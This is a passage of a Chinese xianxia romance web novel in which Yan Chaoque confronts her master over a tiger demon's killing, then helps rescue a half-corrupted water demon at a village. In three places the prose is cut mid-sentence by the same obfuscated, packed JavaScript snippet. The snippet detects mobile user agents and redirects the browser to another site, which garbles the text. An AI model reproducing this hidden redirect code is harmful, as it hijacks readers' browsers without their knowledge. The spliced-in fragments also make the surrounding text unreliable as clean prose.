这不是该生那些乱七八糟念头的时候。 他心中默诵着数遍清心咒,终于让胸腔中横冲直撞的心归于平静。 淮冷背着一人一猫,开始攀爬登天梯。 起初他凭借着矫健的身姿,爬得极快,可越到后面,威压越大,他的步子也被迫放慢了许多。 离火早就不满于灼烧他的手脚,而是顺着伤口钻进了血液与经脉中,如小虫子般啃噬着他的身体。 淮冷的脸色变得苍白起来,唇齿间溢出了一两声粗重的喘.息。 可他不敢停下。 爬过的天梯已悉数消失,身下早已是万丈深渊,若是此时放手,定会摔个粉身碎骨。 更重要的是他并非孤身一人。 颜朝阙救了他数次,他岂能害她。 便是这样一口气撑着淮冷,让他拖着沉重的身躯向上攀。 天梯的尽头终于从高空的云雾中现出身影,只是看起来依旧遥不可及。 淮冷的痛苦与挣扎颜朝阙何尝看不到,她眼中泛起了点点心疼。 “师弟,我给你唱首歌吧。” 他或许需要一些旁的东西来吸引他的注意力,减轻他的疼痛。 饶是快精疲力竭,淮冷依旧柔声道了句“好”。 颜朝阙便唱起那悠远记忆中的歌谣,她并不记得是从何处学来的了,兴许是妖族血脉中古老的传承。 “晚风慢慢摇,猫儿上仙桥。神树结神桃,长生又不老……” 她音色如珠玉落银盘般清脆好听,可毕竟不是乐仙,并无甚天赋,唱得断断续续,不成曲调。 淮冷的唇却扬了起来,只觉得这嗓音里像是裹了蜜糖一般甘甜,怎么听都不会腻。 他从前觉得人生晦暗无光,若是不能达成心中所愿,那这漫长的修仙岁月,不过“捱”一字罢了。 可如今觉得,长生不老未必是件坏事。 他的体内忽而产生了几分勃勃生气。 天地之间的灵力疯狂地涌入他的身体,滋养着他的金丹,让他健步如飞起来。 直到背着颜朝阙跨过天梯的最后一阶,安稳落地,淮冷才后知后觉地发现…… 自己修为进阶了。 而颜朝阙的脑海中猝不及防地响起系统音:“宿主魅力值,+100。” 17. 第十七章 为护住灵脉,昆墟派创立了守山八卦阵,历经七百年威力依旧不减,早已名扬修真界。 鲜有人知,这会“隐身”的断魂崖就位于阵法中央,紧挨着主峰,秘境出口更是联通八角。 一阵天旋地转,阵法将颜朝阙与淮冷随机送到了艮卦对应的山头。 正是昆墟第七峰。 颜朝阙从半空中掉下来时,正碰上一群弟子练习御剑,他们一字排开,不甚熟练地挥动手臂,脚下的木剑晃晃悠悠。 见到她急速坠落的身影,他们如受了惊的鸟雀般,朝四周散开。 给颜朝阙留下一个完美的大马趴落地空间。 她身后出现了第二个人影。 淮冷为了调息体内暴动的灵力,晚了颜朝阙一步踏出秘境。 他察觉踏空,身形不过刚开始失衡,便迅速反应过来。 腰间看似笨重的铁剑嗡鸣出鞘,转瞬便已至他的脚下,稳稳地托住了他。 他望见颜朝阙飞速下坠的身影,瞳孔猛地一缩,御剑迅疾地朝她飞去。 就在他要揽住她的一刹那,颜朝阙被人拽住胳膊,与他擦身而过。 两人终于平稳落地。 颜朝阙紧紧抱着怀中的小猫,剧烈的心跳久未平复。 方才在高空之中,风刃在她耳边呼嚎咆哮,她却毫无办法,只能由着身体失控下坠。 她无比痛恨这样无助的时刻。 她定要成为这世间的最强者。 想必届时,秦之游也只能乖乖将绝妖杵双手奉上。 “道友无碍吧?” 一道耳熟的声音在身侧响起,拉回了她的思绪。 颜朝阙转头,是一个秀逸周正的男修,方才就是他及时拉住了自己,她才没脸着地摔下。 她思索了半晌,才从脑海中寻出那个名字,“……顾奕?” 当初从剑阵外救下淮冷时,他就在一旁,两人有过短暂的交流。 顾奕咧嘴一笑,眉梢染着喜意,看起来高兴极了。 “没想到道友还记得我的名字,正是在下。” 他正和颜朝阙说着话,手臂忽而被人禁锢住,他吃痛地松开了扶着颜朝阙的手。 顾奕朝身后望去,记忆中的少年阴鸷依旧,眉眼间透着几分狠戾不爽,手上力道大得几乎要将他的骨头捏碎。 顾奕永远都会记得,被淮冷按在地上摩擦的那个傍晚。 “淮道友……”痛苦的记忆涌上心头,他讪讪地笑了笑。 淮冷却并未与他对视,他的视线落在顾奕的右手,许久都未曾移开—— 就是这里碰了他的师姐。 “你们认识?” 还是颜朝阙轻扬的嗓音让淮冷理智回笼,收敛起杀意。 少年甫一松手,顾奕便忙不迭地站远了些,走到了颜朝阙的另一侧。 “不仅认识,还相熟呢。” 他语气热络,可无端带着些告状般的阴阳怪气。 “颜道友的师弟可是昆墟派的名人。毕竟再不会有第二个人,将昆墟上下年轻弟子都打了个遍的了。” 顾奕脑子向来活络,又善于洞察人心,他这话是故意说给颜朝阙听的。 淮冷果然如他所料般隐隐动怒起来。 可他躲在颜朝阙的身边,淮冷就不敢动手。 这少年,应是十分在乎自己的师姐。 顾奕的余光中出现了一抹流星般的身影,他赶忙对颜朝阙道。 “颜道友今后若有时间,可常来七峰飞燕台,下次我定为道友准备上好的桂花酿。” 他举止风度十足,神色友善,让人极易心生好感,讨好得颇有技巧。 一道破空声传来,有人正御剑破开山间薄薄的云雾,迅速朝此处而来。 乍一看仙风道骨,再细看更是飘逸悦目,月牙白的衣袍让这满目青山都黯然失色。 来人正是秦之游。 他远远觑见三人,不过心念一动,颜朝阙便悬空而起,眨眼间落在了那幽蓝剔透的灵剑剑尾。 绝魔剑擦着飞燕台而过,未作片刻停留,笔直地朝着星回峰飞去。 淮冷见状,也迅速御剑跟上。 顾奕站在原地,望着那已经化为小点的紫色身影,脸上露出了一抹玩味的笑容。 另一个七峰外门弟子瞧见他唇角的弧度,走了过来,不解问道。 “我瞧着无念真人的脸色不大好看,这颜朝阙回去定要领罚。听说她还得罪了掌门,师兄何故与她走得这样近?” 顾奕双指曲起,给了他一个凿栗,“你这还未看清形势。” “无念真人就算把宝贝神器借给掌门,都要护她不入秘境。如今她前脚刚出来,真人就亲自把她接了回去。” “这还不能说明她在星回峰的地位么?” 顾奕还剩下后半句没说。 依他所见,昆墟派剩下的七位长老,未必以掌门真人马首是瞻。 毕竟仙门向来实力至上,强者为尊,明琉真人停滞在化神中期已经七年有余。 那弟子听罢,恍然大悟,连忙称是。 听闻师兄早就想拜入八峰,而明哲长老与星回峰关系匪浅。 再过几日便是内门大选,师兄近日修为大增,若颜朝阙能与他交好,想必胜算也能再多几分。 从七峰到星回峰,绝魔剑不过用了须臾。 颜朝阙回到那熟悉的柏树下,惊讶地发现这山头上竟有了三间屋子。 余光里的秦之游正收起长剑,他神色疏离淡漠,白玉雕琢般的面容透着丝丝冷意,看起来完全不像是会为她搭一间竹屋的模样。 她心头被感动了一刹。 他外表虽如长夜孤星,内里却是个热心肠。 那日她动用傀儡符,或许当真是有些心急了些…… 颜朝阙心中的暖流还未涌动多久,就见秦之游转过身来,他周身萦绕着凛冽的气息,双眼沉沉,似是在寒潭中浸了许久。 他眉目间有几分淡淡的责备。 “颜朝阙,你可知,虎妖死了。” 秦之游薄唇轻启,吐出几个仿若淬了冰般的字眼。 虎妖活了数百年,乃是百妖谷之王,它一身死,这断魂崖秘境第一关几乎名存实亡。 身着槿紫色罗裙的姑娘不可置信地瞪大了双眼,仔细辨认他是不是在戏耍她。 可那如墨玉般的眸中只有一片寂静,倒映着她失了血色的面容。 “它……是怎么死的?” 颜朝阙听到自己的声音都有些发颤,抱着猫儿的手臂紧了紧。 “你解了它的缚妖链,它踏出百妖谷,试图破了秘境结界,明琉便将其就地正法。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635188|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谈论起虎妖的死因,秦之游的话语间并无明显的悲伤惋惜,只是平静地陈述事实。 “就地正法?!” 颜朝阙像是听到了什么可笑的话,忽而拔高了声音,她娇艳的脸上浮现出一抹怒意,讥诮地问道。 “敢问师尊,虎妖犯了什么滔天罪孽,连活着的权利都不配有?!” 在她几近于逼问的目光下,秦之游沉默了片刻。 彼时绝妖杵还在明琉手中,他察觉异样赶到时,虎妖已经回天乏力,再无生还可能。 他纵使心有不忍,可想来不过是个未化形的妖兽,死不足惜。 秦之游未与明琉争执,只是从她手中又收回了绝妖杵。 他本以为这件事错处在颜朝阙,若她未擅自解开缚妖链,虎妖又岂会发了狂般去撞结界? 但不知为何,当颜朝阙那双向来灵动澄澈的眸子里盈满怒意,愤懑地盯着他时,他竟感受到了一丝莫名的羞愧。 而秦之游原本对颜朝阙的责备,反倒如浮冰消融在水中,不见了踪影。 他垂下眸,不再与她对视,好半晌才给出回答。 “它既已得自由,便该乖乖待在百妖谷中。可它却起了贪念……该杀。” 可这样的理由,在颜朝阙看来是如此拙劣可笑。 颜朝阙的心中升腾起一股无名火,一口气憋得她浑身难受,恨不得即刻将绝妖杵砸个稀巴烂。 “试问师尊,若您身负枷锁,被囚禁多年,一朝看见重获自由身的希望,您会待在笼中,继续乖乖地做个阶下囚么?” 秦之游抿唇不答。 那张清冷绝艳,美得惊世骇俗的脸,在颜朝阙眼中都变得有些可憎起来。 她继续逼问:“师尊认为,它配不配活?” “它曾伤了昆墟弟子。” “那师尊可想过它为何伤他们?”颜朝阙反问。 她不待秦之游回答,便自问自答起来,语速极快:“是因为你们根本就不在乎它是何感受。” “那缚妖链如此之小,早就割烂了它的肌肤,深入它的骨肉,叫它日日疼得死去活来。” “你们有谁关心过它的疼痛?” 攻守易势,颜朝阙的语气堪称咄咄逼人。 气氛彻底尴尬起来,淮冷僵立在两人的身侧,静声屏气,连大气都不敢喘。 颜朝阙忽而嘲讽地笑了,“师尊,让我来猜猜真相。” “明琉真人修为数年不进,很是着急,灵丹秘籍已经无法助她突破。而这虎妖活了数百年,体内的稀世妖丹可遇不可求。” “恰好今日缚妖链断,它为重获自由去闯结界,明琉真人借机寻了个由头取它性命。” “这样即便得了妖丹,旁人也不会多说什么,毕竟是妖作乱在先。” 颜朝阙重重地咬着“作乱”两字,皮笑肉不笑道。 “师尊,我猜的可对?” 秦之游终于抬眸,将视线再一次落到她的脸上。颜朝阙的那双桃花眼中不复慵懒,锐利得可怕,好似瞬间就能洞悉人心。 其实他也不知真相如何,心中也只是有所猜测。 而颜朝阙说的,和他猜的,竟分毫不差。 “师尊,起了贪欲的不是妖。” “是人。” 颜朝阙直视他的双眸,几乎是一字一句道。 18. 第十八章 南风骤起,头顶柏树枝梢吱呀作响,山谷中传来幽幽回音。 谷雨已过,夏季将至,可这星回峰上却让人感受不到一丝暖意。 秦之游长睫稍脸,凝视着身前比他矮了三寸的姑娘,他眼中有些许疑惑。 旁人拜师,都是毕恭毕敬,唯命是从。 为何到了他的徒儿这,总是气焰嚣张,与他争锋相对? 一切都和他预想的不太一样。 “怎么,是我猜对了,师尊说不出话来了?”他看见她昂着头,眼底蕴火,脸上似笑非笑,全无敬畏神色。 秦之游喉咙滚了滚,刚想开口说话,一张被注入许多灵力的传讯符飞至眼前。 读罢,他神色一凛,再与顾不得颜朝阙辩驳谈论妖族之事,匆忙道:“你们两人即刻随我下山除魔。” 有弟子传音,百里外的归鹤村,竟出现了三级魔物的踪迹。 三级魔物,一只便可敌两位化神中期大能。 如此厉害的魔物,近十年内却已是第二只了。 与先前的波澜不惊不同,这一次,颜朝阙明显感受到了秦之游的焦灼。 他长身立于剑柄之上,身后青丝飘飞,头上的玉冠折射出银灿灿的光,却转瞬湮灭在风中。 绝魔剑的速度更快了,剑刃劈开山间蒸腾的雾气,只留下冰蓝色的残影。 颜朝阙的耳畔传来猎猎的风声,以她的修为,早该被掀下剑去,可她身形却还算稳当——秦之游专门为她设了一道结界。 似是注意到她的目光,秦之游回望了她一眼。 颜朝阙心中正因虎妖之死而难受,撇过头去不与去看他。 可她的怀中蓦地多了个金丝锦袋。 “将那只猫妖收进去。” 秦之游的嗓音如一流冷涧,透过风声,一字不落地进入她的耳中。 从他的反应来看,这魔物定是非同小可。 她抱着一只猫妖行动不便,恐怕更加危险。 颜朝阙正愁如何安置怀中橘色的小猫,没想到秦之游竟主动给她抛来了储物袋。 这云锦织就的储物袋她十分眼熟,只是底部没有了“秦”的字样,看来并非是当初装着五百灵石的那一只。 她用神识再细细探了一番,内里空间约莫一间屋子大小,能装不少东西。 更让她惊喜的是这袋中有一精妙阵法,可与外界灵力互通,这也就意味着能存储活物。 “此物尚且无主,你可滴血入内。”秦之游未回头,仿若不经意道。 雪白的身影穿行在云海烟波之中,如明月般泛着清冷的光辉。 颜朝阙心中的情绪霎时变得复杂起来。 他总能精准地挑起她的怒火,却又能在她最需要帮助时送来救火之水。 还从未有这样一个人,能让她恨与感激交织难分。 “……多谢师尊。”她低声道了句,终究还是没把储物袋还回去。 一滴血没入袋中,这储物袋便完全可由颜朝阙意念操纵。 她轻手轻脚地将怀中陷入沉睡的小猫放入其中。 这猫妖不太对劲,从秘境中出来后便一睡不起,颜朝阙用灵力查验过一番,可它的身子并没有任何问题。 她也只能由着它继续睡下去了。 约莫半炷香后,秦之游带着颜朝阙终于抵达了归鹤村,片刻后淮冷御着铁剑也赶了上来。 酉时已至,残阳如血,赤色的光似真火笼着山村,仿佛要熔尽一切房屋草木。 村子外头看起来一片祥和,可叫人心头隐隐不安。 颜朝阙跟在秦之游的身后走了许久,莫说人影,连一声狗叫都不曾听到。 “这魔物是一只三级吞魂魔,最喜食生人魂魄,若它真已经得手,此处不该无人。” ……而应该尸横遍野才对。 秦之游解释道,他心有疑惑,蹙眉环视一周,将强大的神识放了出去。 绝魔剑突然兴奋地嗡鸣了两下,从修长如玉的指尖窜了出去,径直朝着东南方位飞去。 神识中亦出现了一缕魔气。 秦之游飞袂拂袖,面容冷峻,大步流星赶去。 穿过这死寂的村庄,众人渐至青山脚下,这里淌着一条蜿蜒曲折的河流,应该是山泉流下形成的。 彼岸建了一座四四方方的小庙,被人用术法刻意隔绝开,灰蒙蒙的看不真切。 遥遥望见岸边有一个蹲着身子的人,长发垂地,看不清楚容貌。 听到动静,“他”缓缓转过头来,却几乎把颜朝阙吓了一跳。 那左半张脸还算正常,但右边的脸诡异地消失了,只留下不断波动的黑色液体。 他的脚下也流着浓稠的黑汁,散发着一股恶臭的腥气,让人忍不住作呕。 淮冷认出了这是什么东西,脸色一下子变得煞白如纸。 他的心中升腾起浓郁的杀气,提着剑的手都忍不住颤抖起来。 秦之游率先开口道:“这并非是三级吞魂魔,而是只半魔。” “它入了魔道,不出一炷香,就会彻底丧失神智。” 只消一眼,他就能判断对方的实力,强大的化神期神识几乎将一整座山都搜了一遍,别处并无魔气。 方圆十里,只此一只魔物。 当秦之游念出“吞魂魔”时,颜朝阙看见魔物的左眼里倏然多了分警惕。 “师尊,请让弟子去斩杀它。” 她听见淮冷主动请命,幽深的眸底翻涌着滔天的仇恨。 秦之游想了想,轻轻点了点头。 这只半魔实力约莫六级,淮冷解决它应不是问题。 少年正要提剑而上,手臂却被人猛地拽住。 “淮冷,你看它怀中。”颜朝阙凝视着那不成型的魔物,眼尖地瞧见一片垂下的灰色的衣角。 秦之游也发现了异常,他挽起一个漂亮的剑花,隔空打在魔物的身上。 岂料它不躲不避,硬生生地挨了这一下,而后将怀中之物小心翼翼地放在了身前的草坪上。 颜朝阙这才看清……那是一个面容惨白的孩童! 他安安静静地躺着,若不是胸前还有微弱的起伏,众人还以为他已经惨遭魔物毒手。 淮冷紧盯着手无寸铁的孩子,痛苦的回忆又一帧帧重现在脑海中。 当初就是这样的魔物屠了栖山三百余口性命,杀死了阿娘。 而他晕厥过去,什么也做不了。 心头浓烈的杀意激得他阵阵战栗。 少年纵身一跃,飞过河流,铁剑挟着凌厉剑气,直逼魔物。 半魔终于出手挡了一下,就是这一下,让颜朝阙瞳孔骤缩。 这魔物在未入魔前,竟是只水妖! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635189|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她几乎未加思索,跨入河水中,任凭细碎的浪花打湿裙摆,而后挡在了魔物身前。 “师姐,让开。” 少年眼中冷意彻骨,与初见时如出一辙。 “淮冷,它尚未完全入魔,让我一试可好?”颜朝阙语速极快地解释道。 她不待他回答,转过身来,娴熟地咬破自己的指尖,而后居然大胆地抚上了魔物左边的脸。 就是这一刹,她被人陡然抓住手腕,拖到了身后。 颜朝阙抬头,撞入一双盛着怒火的眸子。 “你才练气修为,可知触碰魔物有多危险?!”秦之游责备的话语脱口而出。 修士若是肌肤与魔气相触,一着不慎,便会被魔气反噬,自己也成为魔。 可眼前的少女一副无知无畏的模样,她居然还好意思扬起一抹笑,仰头轻快地对他们道:“师尊、师弟,成了。” 成什么成。 恐怕是要把他气死才成。 他满心欢喜盼来的,居然是个做事完全不计较后果的逆徒。 “你们快看!”颜朝阙指着魔物,眉飞色舞道。 秦之游与淮冷顺着她的指尖看去,诡异的一幕发生了—— 那半魔身上的魔气居然逐渐淡去,已经消失的脸颊和身体又显现出形状,而后慢慢变得清晰。 淮冷的眼睛瞪大了,就连秦之游都好半晌没有说话。 仙门除魔卫道,管他是半魔还是全魔,向来都是一杀了之,只要没了寄主,魔气自散。 从没听说入魔一半,还能撤回的。 简直是匪夷所思。 “师叔?!” 一道声音兀地在不远处响起,温润低沉如悠悠箜篌,听起来又惊又喜。 颜朝阙循声望去,眼前忽而一亮。 来人气质斐然,素色衣袂在空中轻扬。一把白色长剑笔直地竖于身后,行走间自带朗朗清气。 他五官周正,并不令人惊艳。可越是细看,便越能瞧见掩藏在其中似清酒般醉人的温柔。 偏生这温柔中还夹杂着厚重的正气,让人一眼便不敢轻易冒犯。 尤其是那一双剔透如琉璃般的眼眸,仿佛能映出世间一切魑魅魍魉,除尽所有邪祟。 这完全是正道弟子理想中的模样。 他一步步走来,似是刚战了一场,气息稍有不稳,举手投足却仍旧从容雅气。 “师叔。” 他在秦之游身前站定,恭敬地行了一个标准的跪礼。 颜朝阙看见素来高冷的秦真人,居然亲自扶起了这个青年,温声唤道。 “重衾。” 许是她困惑的目光有些明显,秦之游解释道,只是对着她,表情略淡了两分。 “这是掌门明琉真人的大弟子,白重衾,亦是神器千山织之主。” 白重衾朝二人抱拳行礼,脸上挂着和煦的浅笑,“师父闭关前已传讯于我,你们便是颜朝阙师妹、淮冷师弟吧?” 他并不过多废话,将视线转向了庙前已经恢复真容的水妖,又回过来看向颜朝阙,毫不掩饰自己的钦佩与赞美。 “今日真是多亏颜师妹救下水妖,否则这满村的百姓都该伤心欲绝了,师妹好生厉害。” 颜朝阙凝视着他英朗的面庞,感动地泪眼汪汪。 这还是昆墟派第一个夸赞她的人。 19. 第十九章 水妖面容已经恢复正常,他虚弱地瘫在地上,捂着胸口剧烈咳嗽,仿佛要把五脏六腑都咳出来。 他蓦地喷出一口血,将碧色的小草染得黢黑。 一团黑气从血中窜了出来,企图逃之夭夭。 “伏魔卫道,天下无逃。千山织,出!” 不待秦之游动用绝魔剑,白重衾迅速念了句口诀,数根莹白的丝线从指尖迸出,织成一张小网,将那团魔气笼住。 灵线收缩,化成几道细小的雷,将魔气劈得烟消云散。 秦之游的眼中露出了一抹欣赏。 重衾在外游历多年,对神器的运用愈发熟练了。 水妖见魔气散尽,松了口气,他举起手,颤巍巍地指着小庙的方向。 “人都在……庙里……”他被魔气伤了肺腑,说气话来断断续续的。 白重衾颔首,剑光闪过,小庙前的结界如同薄薄蝉翼般被他轻易撕碎。 颜朝阙这才看清里头的景象,这小小的屋子里竟然挤满了人! “大毛,大毛!” 一个妇人急匆匆地挤了出来,哭喊着跑向方才被水妖放下,如今躺在草丛中的男孩。 她将孩子搂进怀中,摸了摸他微弱的鼻息,面色一下子变得煞白。 哪怕四个手执长剑的修士触手可及,她都未曾想过求助,反倒对着水妖磕起头来。 “仙人!求仙人救救我家娃娃吧!我就这么一个孩子……” 她几乎要痛哭出声。 水妖扶住了她,费力道:“我受了伤,救不了他,这几位修士或许可以。” 妇人这才望向秦之游等人。 比起对待水妖的虔诚,她脸上有明显的迟疑与警惕。 先前路过村子里的修士,个个道貌岸然,有一丝怠慢便要打要杀要抢,简直和土匪没有什么两样。 他们修仙之人,当真有救人的善心么…… 不等她开口,秦之游径直走向男孩,妇人缩了缩身子,终究还是没有阻止。 秦之游伸出手,将一丝灵力从额间注入孩子的身体,游走探查了一番。 片刻后,他语气微沉,对妇人道:“魂魄缺了一角,因此才昏睡不起。本……我这有一瓶滋魂丹,你每日喂上一颗,十日后便能醒来。” 妇人举起双手,小心地接过盛着丹药的瓷瓶,对着秦之游连连磕头道谢。 当初那一团骇人的黑云抓走她的二毛时,她的心凉了半截,以为再也见不到他了。 上天保佑,让她遇到了水仙人和好心的修士。 水妖终于恢复了些气力,他站起来,扬声对妇人,也是对庙中的其他人道:“魔物已经走远了,你们可以归家了。” 人群中爆发了一声劫后余生的欢呼,村民们走出小庙。 “水仙大人万福!” “水仙大人万福!” 他们高喊着,哗啦啦跪成一片,对水妖恭恭敬敬拜了几拜。 不仅是颜朝阙,就连秦之游也是第一次见到人对妖族如此敬重,他剑眉微挑,难掩诧异。 反倒是常年在外奔走的白重衾,脸上表情无甚起伏,一副见怪不怪的模样。 等村民们都往西走去,秦之游这才问道:“重衾,这究竟是怎么回事?” 秦师叔是昆墟派最强之人,此事必定要向他禀报。 白重衾面色肃然道:“弟子本在百里外的云合镇坐诊,今日千山织躁动得厉害,弟子随它来了这归鹤村。” “岂料遇到了三级吞魂魔,它当时正打算生吞那男孩的魂魄,正好水妖赶到,与我一起救下了男孩。” 水妖受了魔气重创,如今皮肤白得几近透明,见白重衾对着他微微躬身,他有些赧然地扬起一抹笑。 “那吞魂魔呢?”秦之游问道,此等魔物若是流窜人间,必成大患。 白重衾的眸中霎时涌起愧色,他放下佩剑,跪了下来,自责道。 “师叔,弟子竟不慎让魔物损坏了神器,还跟丢了。” 他举起手,那宽大的手掌中突然出现了一只碧色的蝉,右翼上果真有了个细小的缺口。 白重衾低着头,姿态摆得极低。 颜朝阙毫不怀疑,即使秦之游发狠打他几鞭子,他也会心甘情愿地受着。 凶巴巴的冰美人这次倒极明事理,他叹了口气,嗓音清润如波。 “三级魔物可为一方魔主,又极擅隐匿,你不过元婴初期修为,不敌亦正常。” 即便是化神期的他,也没有十足的把握能一举剿灭魔物,他又何必为难旁人。 倒是这神器不能有失…… “这神器你可有修复之法?” 白重衾点了点头,爱惜地抚了抚蝉背,“需以弟子的本命灵力蕴养三十日才能恢复如初,这三十日内不能再动用神器了。” “那这段时间,你且回昆墟山吧。” 白重衾收起千山织,他又握紧了剑柄,仰头直视着秦之游。 “师叔,没了千山织,弟子照样能除魔,不必回宗门。” 他神色坦荡,比那万里苍穹还要清朗,字字句句皆掷地有声。 “吞魂魔往南而去,一日不除,弟子一日不得心安。” “……也好。”秦之游拗不过他,应了下来,“若有异样,第一时间传讯于本座,本座会派人下山再将附近搜查一遍。” 他将绝魔剑插入地下,灵剑瞬间成了阵眼,一息之间,强大的结界包围了整个村庄。 “若吞魂魔再来侵犯,本座会第一时间知道。” 白重衾敬佩地望着他,师叔不愧是昆墟派最霁月清风之人。 “多谢师叔!” “多谢真人。” 两道声音同时响起,另一道是水妖的。 他的拱手礼行的并不熟练,但目光真诚平和,是实打实地感激秦之游。 归鹤村是他生长的地方,可他终究法力浅薄,剑修能出手,于他是大恩。 白重衾看了水妖两眼,忽然又扭过头来,将视线落到了颜朝阙的身上。 不知为何,颜朝阙觉得那眼神中有些许灼热。 “弟子斗胆,还想向师叔讨个人才。” 秦之游顺着他的眼神看去,与那双水波潋滟的桃花眼对在了一起。 白重衾沉稳又真挚的话语在耳畔响着。 “近些年来,魔物愈发猖獗,修士与妖物若是不甚沾染魔气,便极有可能被同化。” “弟子游历多年,见过无数妖族化为魔物,还是第一次见到有人能行逆转之术。” “不知师尊日后能否让颜师妹随我共同除魔?” 颜朝阙正愁无法了解人间的妖族,这倒是个好机会,她高兴地扬起了唇,轻快道:“好呀,白师兄。” “不可!”秦之游语气冷冽而急促,几乎是不假思索。 “她不过练气初期修为。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635190|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……实在太过危险,他不放心。 后半句话,秦之游没能一口气说出来。 可落在颜朝阙耳中,便是在说—— 她太菜了。 还不配闯荡天下。 笑话,她可是极域妖王,堂堂妖仙。 桃花眼中的水雾凝成了冰晶,颜朝阙脸上的笑意淡了几分,皮笑肉不笑地问道。 “依师尊看,要何等修为才能去除魔?” 秦之游沉吟几息,给出了心中的答案:“至少金丹期。” “若我结丹,师尊便放我随师兄下山除魔,如何?” 她腰杆挺拔如竹,玄黑铁剑泛着冷光,昂着下巴道。 活脱脱像一只骄傲而乖戾,急于逃离囚笼的猫儿。 她就这样不愿意待在他身边么? 秦之游倏然生出了几分恼意。 白重衾察觉到两人之间的异样,他不知虎妖之事,还以为全是自己的缘故,忙对两人道。 “师叔,是弟子考虑不周,待颜师妹修为进阶后再下山也不迟。” “……师妹放心,山下有我和其他昆墟弟子,还有秦师叔相助,魔物尚且掀不起大浪。” 颜师妹如今修为是不高,但神器所择之主,又岂会是资质平平之辈? 当初他从练气初期到金丹期,不过花了一年罢了。 想来颜师妹也不会让自己等太久。 “本座亲自教导,若是你一月内能结丹,便去。若不能,便安安生生待在本座身边修炼。”秦之游垂下眼睑,冷哼一声,提出了一个极为苛刻的条件。 白重衾正想着自己的经验,听闻此言,倒吸了一口气,一个月结丹?! 便是世人公认的,于修道一途最有天赋的天风派雪千里前辈,当年也花了足足一个月零九天。 “就如此。”颜朝阙颔首,扯了扯嘴角道。 白重衾只觉得她入道不久,许是心中没有概念,打圆场道:“师妹不必急于一时……” 谁知颜师妹打断了他的话,直截了当道:“师兄且等我一个月。” 唉,没必要,真没必要。 算了,星回峰的事情,他也没有办法。 他能做的就只有多除些魔,少让修士与妖族堕入魔道。 白重衾试图转移话题,“师叔可知,师尊为何突然闭关?她传讯时并未与我说明缘由……” 莫非是寻到突破的机缘了? 可他不提明琉真人便罢了,一提,颜朝阙心头火更大了。 不知道为什么,原先看起来软乎乎的师妹,目光像刺一般朝他射.来,让他心口一滞。 他摸了摸鼻子,暗自思忖,自己是哪里得罪了她么? “师姐,水妖走了。” 淮冷置身事外,是第一个发现水妖抬脚的人,他凑到颜朝阙耳边道。 秦之游也瞧见了,只是这一次,他没有取出绝妖杵。 他什么也没说,任由水妖朝河边走去。 庙中的三柱清香快要燃尽了,袅袅灰烟成了点点金光,飘出屋子,没入水妖虚弱的身体。 夜幕之下,家家户户亮起了暖黄色的灯,遍布山脚。 “师尊,你可知那是什么?”颜朝阙问道。 她问的是跟在水妖身后的金光。 秦之游沉默了半晌,而后声音悠缈,又有些许无奈地对她答道。 “本座知道……是功德。” 20. 第二十章 离开前,白重衾将水妖的来历告诉了众人。 归鹤村南边是一座约莫百丈高的小山,名为妙山。 五百年前,中洲大旱,村民突然在山顶上掘到了一口小泉。 本以为不日便会干涸,岂料泉眼越涌越盛,流至山脚竟冲出了一条蜿蜒的小河。 靠着这口泉,那年归鹤村上下几百口性命得以存活,他们修建庙宇,将其奉“圣泉”。 饮用、灌溉,世代交替,这泉早与村民密不可分。 也正因为日日感知人类的喜怒哀乐,这泉妖得了造化,得以化为人形。 护了归鹤村数百年的安宁。 “他们可不管是妖是灵,只要对他们好,便是‘仙’。”白重衾脸上挂着温和的笑,总结道。 想当初他也是见妖就砍,可如今观念早已颠覆,甚至还拦下了不少鲁莽行事的道友。 他修长的手指拨弄了一下粗糙的剑穗,“这些年在外行走,我这才知道这样的妖竟也不少。” 这句无意识的慨叹,倒是让颜朝阙不自觉握紧了拳。 妖不少。 那不慎沾染魔气,堕入魔道的善妖定也不少。 “师兄,你等等我。” 这一次,她的声音中凝了几分严肃,不像是请求,倒宛若一个郑重的承诺。 “一个月。”她补充了一句。 白重衾从不会打击师弟师妹的心气。 他手腕一翻,将剑收回身后,清润如玉的脸上笑意不变。 他缓慢点头道了句:“好,我等。” 三级吞魂魔既无踪影,秦之游便带着颜朝阙和淮冷又回了昆墟。 无需秦之游吩咐,颜朝阙就主动踏进竹屋,撩起那残破的罗裙衣摆,稳稳当当地坐在了蒲团上。 她眸光水润,定定地望着他,朱唇似扬非扬,“师尊,开始吧。” 他方才可是说,要亲自教导她,帮她提升修为。 她身后便是一扇窗,屋后的柏树叶子被风吹得沙沙作响,像是在替她无声地催促。 